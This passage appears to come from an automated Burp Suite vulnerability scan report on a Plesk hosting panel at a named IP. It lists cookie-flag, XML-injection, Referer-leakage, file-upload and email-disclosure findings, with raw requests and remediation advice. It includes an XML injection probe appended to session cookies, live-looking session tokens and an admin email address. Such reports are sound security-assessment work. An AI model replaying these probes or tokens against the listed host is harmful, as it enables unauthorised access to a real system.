<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <m ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
psaContext=domains; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /plesk/client@1/domain@1/hosting/file-manager/?cmd=chdir&file=%2Fhttpsdocs%2F HTTP/1.1 Host: 174.122.23.218:8880 Proxy-Connection: keep-alive Referer: http://174.122.23.218:8880/plesk/client@1/domain@1/hosting/file-manager/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: filelist=YTo1OntzOjU6ImZsYWdzIjtpOjA7czo0OiJzb3J0IjtzOjQ6Im5hbWUiO3M6NjoiZmlsdGVyIjtzOjA6IiI7czo0OiJwYWdlIjtpOjA7czo4OiJwYWdlU2l6ZSI7aToyNTt9; PHPSESSID=d9f3512785d3d4954fc9f71052a4fb73; PLESKSESSID=d9f3512785d3d4954fc9f71052a4fb73; locale=en-US; psaContext=domains
Response
HTTP/1.1 200 OK Cache-Control: post-check=0, pre-check=0,no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Last-Modified: Sun, 10 Oct 2010 02:16:50 GMT Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 P3P: CP="NON COR CURa ADMa OUR NOR UNI COM NAV STA" Set-Cookie: psaContext=domains; path=/ X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 02:16:52 GMT Connection: close Content-Length: 37543
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <m ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
psaContext=domains; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The following cookie was issued by the application and does not have the HttpOnly flag set:
psaContext=domains; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The following cookie was issued by the application and does not have the HttpOnly flag set:
psaContext=domains; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /plesk/client@1/domain@1/hosting/file-manager/edit/ HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PLESKSESSID=10321169792bce25daa15603ea9ba645; do-not-show-getting-started-popup=true; SessionID=42b54cb11fc3aedbd; sessionID=ratyxspkfhncnbudbnjoxfoj; show-getting-started-popup=false; locale=en-US; PHPSESSID=10321169792bce25daa15603ea9ba645; psaContext=domains; user=54a8ad2443247fe6e4900290dc4e0cf8;
Response
HTTP/1.1 200 OK Cache-Control: post-check=0, pre-check=0,no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Last-Modified: Sun, 10 Oct 2010 02:07:57 GMT Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 P3P: CP="NON COR CURa ADMa OUR NOR UNI COM NAV STA" Set-Cookie: psaContext=domains; path=/ X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 02:08:09 GMT Connection: close Content-Length: 37611
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <m ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
psaContext=domains; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /plesk/client@1/domain@1/hosting/file-manager/permissions/ HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PLESKSESSID=10321169792bce25daa15603ea9ba645; do-not-show-getting-started-popup=true; SessionID=42b54cb11fc3aedbd; sessionID=ratyxspkfhncnbudbnjoxfoj; show-getting-started-popup=false; locale=en-US; PHPSESSID=10321169792bce25daa15603ea9ba645; psaContext=domains; user=54a8ad2443247fe6e4900290dc4e0cf8;
Response
HTTP/1.1 200 OK Cache-Control: post-check=0, pre-check=0,no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Last-Modified: Sun, 10 Oct 2010 02:07:14 GMT Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 P3P: CP="NON COR CURa ADMa OUR NOR UNI COM NAV STA" Set-Cookie: psaContext=domains; path=/ X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 02:07:26 GMT Connection: close Content-Length: 16715
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <m ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
psaContext=domains; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /plesk/client@1/domain@1/hosting/file-manager/rename/ HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PLESKSESSID=10321169792bce25daa15603ea9ba645; do-not-show-getting-started-popup=true; SessionID=42b54cb11fc3aedbd; sessionID=ratyxspkfhncnbudbnjoxfoj; show-getting-started-popup=false; locale=en-US; PHPSESSID=10321169792bce25daa15603ea9ba645; psaContext=domains; user=54a8ad2443247fe6e4900290dc4e0cf8;
Response
HTTP/1.1 200 OK Cache-Control: post-check=0, pre-check=0,no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Last-Modified: Sun, 10 Oct 2010 02:07:14 GMT Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 P3P: CP="NON COR CURa ADMa OUR NOR UNI COM NAV STA" Set-Cookie: psaContext=domains; path=/ X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 02:07:42 GMT Connection: close Content-Length: 39552
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <m ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
psaContext=domains; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /plesk/client@1/domain@1/hosting/file-manager/view/ HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PLESKSESSID=10321169792bce25daa15603ea9ba645; do-not-show-getting-started-popup=true; SessionID=42b54cb11fc3aedbd; sessionID=ratyxspkfhncnbudbnjoxfoj; show-getting-started-popup=false; locale=en-US; PHPSESSID=10321169792bce25daa15603ea9ba645; psaContext=dashboard; user=54a8ad2443247fe6e4900290dc4e0cf8;
Response
HTTP/1.1 200 OK Cache-Control: post-check=0, pre-check=0,no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Last-Modified: Sun, 10 Oct 2010 02:08:05 GMT Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 P3P: CP="NON COR CURa ADMa OUR NOR UNI COM NAV STA" Set-Cookie: psaContext=domains; path=/ X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 02:08:13 GMT Connection: close Content-Length: 35943
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <m ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
psaContext=domains; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /plesk/client@1/domain@1/hosting/file-manager/view/function.require HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://174.122.23.218:8880/plesk/client@1/domain@1/hosting/file-manager/view/?cmd=show&file=request-uri_too_long.html Cookie: PLESKSESSID=10321169792bce25daa15603ea9ba645; do-not-show-getting-started-popup=true; SessionID=42b54cb11fc3aedbd; sessionID=ratyxspkfhncnbudbnjoxfoj; show-getting-started-popup=false; locale=en-US; PHPSESSID=10321169792bce25daa15603ea9ba645; testCookie=test; psaContext=domains; user=54a8ad2443247fe6e4900290dc4e0cf8;
Response
HTTP/1.1 200 OK Cache-Control: post-check=0, pre-check=0,no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Last-Modified: Sun, 10 Oct 2010 02:12:26 GMT Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 P3P: CP="NON COR CURa ADMa OUR NOR UNI COM NAV STA" Set-Cookie: psaContext=domains; path=/ X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 02:12:27 GMT Connection: close Content-Length: 16060
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <m ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
psaContext=dashboard; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /plesk/dashboard/ HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PLESKSESSID=10321169792bce25daa15603ea9ba645; do-not-show-getting-started-popup=true; sessionID=ratyxspkfhncnbudbnjoxfoj; show-getting-started-popup=false; locale=en-US; PHPSESSID=10321169792bce25daa15603ea9ba645; psaContext=dashboard; user=54a8ad2443247fe6e4900290dc4e0cf8;
Response
HTTP/1.1 200 OK Cache-Control: post-check=0, pre-check=0,no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Last-Modified: Sun, 10 Oct 2010 02:07:00 GMT Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 P3P: CP="NON COR CURa ADMa OUR NOR UNI COM NAV STA" Set-Cookie: psaContext=dashboard; path=/ X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 02:07:02 GMT Connection: close Content-Length: 16371
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <m ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
XML or SOAP injection vulnerabilities arise when user input is inserted into a server-side XML document or SOAP message in an unsafe way. It may be possible to use XML metacharacters to modify the structure of the resulting XML. Depending on the function in which the XML is used, it may be possible to interfere with the application's logic, to perform unauthorised actions or access sensitive data.
This kind of vulnerability can be difficult to detect and exploit remotely; you should review the application's response, and the purpose which the relevant input performs within the application's functionality, to determine whether it is indeed vulnerable.
Issue remediation
The application should validate or sanitise user input before incorporating it into an XML document or SOAP message. It may be possible to block any input containing XML metacharacters such as < and >. Alternatively, these characters can be replaced with the corresponding entities: < and >.
The PHPSESSID cookie appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the PHPSESSID cookie. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 02:42:45 GMT Connection: close Content-Length: 84814
<br /> <b>Notice</b>: Constant PRODUCT_MODE already defined in <b>C:\Program Files (x86)\Parallels\Plesk\admin\auto_prepend\auth.php3</b> on line <b>11</b><br /> <br /> <b>Notice</b>: Constant VZCP_ ...[SNIP]... </b>: Constant SPN_AUTOINSTALLER_COMPONENTS_XML already defined in <b> ...[SNIP]...
The PLESKSESSID cookie appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the PLESKSESSID cookie. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 02:34:15 GMT Connection: close Content-Length: 85847
<br /> <b>Notice</b>: Constant PRODUCT_MODE already defined in <b>C:\Program Files (x86)\Parallels\Plesk\admin\auto_prepend\auth.php3</b> on line <b>11</b><br /> <br /> <b>Notice</b>: Constant VZCP_ ...[SNIP]... </b>: Constant SPN_AUTOINSTALLER_COMPONENTS_XML already defined in <b> ...[SNIP]...
7. Cross-domain Referer leakagepreviousnext There are 21 instances of this issue:
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
File upload functionality is commonly associated with a number of vulnerabilities, including:
File path traversal
Persistent cross-site scripting
Placing of other client-executable code into the domain
Transmission of viruses and other malware
Denial of service
You should review the file upload functionality to understand its purpose, and establish whether uploaded content is ever returned to other application users, either through their normal usage of the application or by being fed a specific link by an attacker.
Some factors to consider when evaluating the security impact of this functionality include:
Whether uploaded content can subsequently be downloaded via a URL within the application.
What Content-type and Content-disposition headers the application returns when the file's content is downloaded.
Whether it is possible to place executable HTML/JavaScript into the file, which executes when the file's contents are viewed.
Whether the application performs any filtering on the file extension or MIME type of the uploaded file.
Whether it is possible to construct a hybrid file containing both executable and non-executable content, to bypass any content filters - for example, a file containing both a GIF image and a Java archive (known as a GIFAR file).
What location is used to store uploaded content, and whether it is possible to supply a crafted filename to escape from this location.
Whether archive formats such as ZIP are unpacked by the application.
How the application handles attempts to upload very large files, or decompression bomb files.
Issue remediation
File upload functionality is not straightforward to implement securely. Some recommendations to consider in the design of this functionality include:
Use a server-generated filename if storing uploaded files on disk.
Inspect the content of uploaded files, and enforce a whitelist of accepted, non-executable content types. Additionally, enforce a blacklist of common executable formats, to hinder hybrid file attacks.
Enforce a whitelist of accepted, non-executable file extensions.
If uploaded files are downloaded by users, supply an accurate non-generic Content-type header, and also a Content-disposition header which specifies that browsers should handle the file as an attachment.
Enforce a size limit on uploaded files (for defense-in-depth, this can be implemented both within application code and in the web server's configuration.
Reject attempts to upload archive formats such as ZIP.
Note that Burp has not identified any specific security vulnerabilities with this functionality, and you should manually review it to determine whether any problems exist.
The page contains a form which is used to submit a user-supplied file to the following URL:
http://174.122.23.218:8880/smb/app/add
Note that Burp has not identified any specific security vulnerabilities with this functionality, and you should manually review it to determine whether any problems exist.
Request
GET /smb/app/add HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://174.122.23.218:8880/smb/app/market/id/marketplace Cookie: do-not-show-getting-started-popup=true; show-getting-started-popup=false; PHPSESSID=10321169792bce25daa15603ea9ba645; user=54a8ad2443247fe6e4900290dc4e0cf8;
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html Expires: Thu, 19 Nov 1981 08:52:00 GMT Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 01:07:21 GMT Connection: close Content-Length: 15442
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head>
Note that Burp has not identified any specific security vulnerabilities with this functionality, and you should manually review it to determine whether any problems exist.
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html Expires: Thu, 19 Nov 1981 08:52:00 GMT Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 01:04:25 GMT Connection: close Content-Length: 20054
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <m ...[SNIP]... ate E-mail Address', description: 'Create a new e-mail address in the system and assign it to a user. To create a business e-mail address not associated with any particular user (like sales@mycompany.com), go to Mailing Lists tab and create a mailing list.', addCls: 'bb-mail-account-add', href: '/email-address/create', disabled: false })
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html Expires: Thu, 19 Nov 1981 08:52:00 GMT Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 01:07:28 GMT Connection: close Content-Length: 55128
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head>
...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... \/protected","url":"http:\/\/plesk.cloudscan.me:80\/files\/protected\/"}}, userContactName: 'admin', userLogin: 'admin', users: {"1":{"id":"1","contactName":"admin","email":"h02332@gmail.com"}}, isBuiltIn: true, operations: [ { componentType: 'Jsw.SmallButton', title: 'Share', description: 'Move sele ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]...
The following email addresses were disclosed in the response:
email@domain1.com
email@domain2.com
h02332@gmail.com
Request
GET /smb/file/ HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: do-not-show-getting-started-popup=true; show-getting-started-popup=false; PHPSESSID=10321169792bce25daa15603ea9ba645; user=54a8ad2443247fe6e4900290dc4e0cf8;
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html Expires: Thu, 19 Nov 1981 08:52:00 GMT Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 01:07:53 GMT Connection: close Content-Length: 55406
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head>
...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... \/protected","url":"http:\/\/plesk.cloudscan.me:80\/files\/protected\/"}}, userContactName: 'admin', userLogin: 'admin', users: {"1":{"id":"1","contactName":"admin","email":"h02332@gmail.com"}}, isBuiltIn: true, operations: [ { componentType: 'Jsw.SmallButton', title: 'Share', description: 'Move sele ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]...
The following email addresses were disclosed in the response:
email@domain1.com
email@domain2.com
h02332@gmail.com
Request
GET /smb/file/index/ HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: do-not-show-getting-started-popup=true; show-getting-started-popup=false; PHPSESSID=10321169792bce25daa15603ea9ba645; user=54a8ad2443247fe6e4900290dc4e0cf8;
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html Expires: Thu, 19 Nov 1981 08:52:00 GMT Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 01:07:52 GMT Connection: close Content-Length: 55406
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head>
...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... \/protected","url":"http:\/\/plesk.cloudscan.me:80\/files\/protected\/"}}, userContactName: 'admin', userLogin: 'admin', users: {"1":{"id":"1","contactName":"admin","email":"h02332@gmail.com"}}, isBuiltIn: true, operations: [ { componentType: 'Jsw.SmallButton', title: 'Share', description: 'Move sele ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: 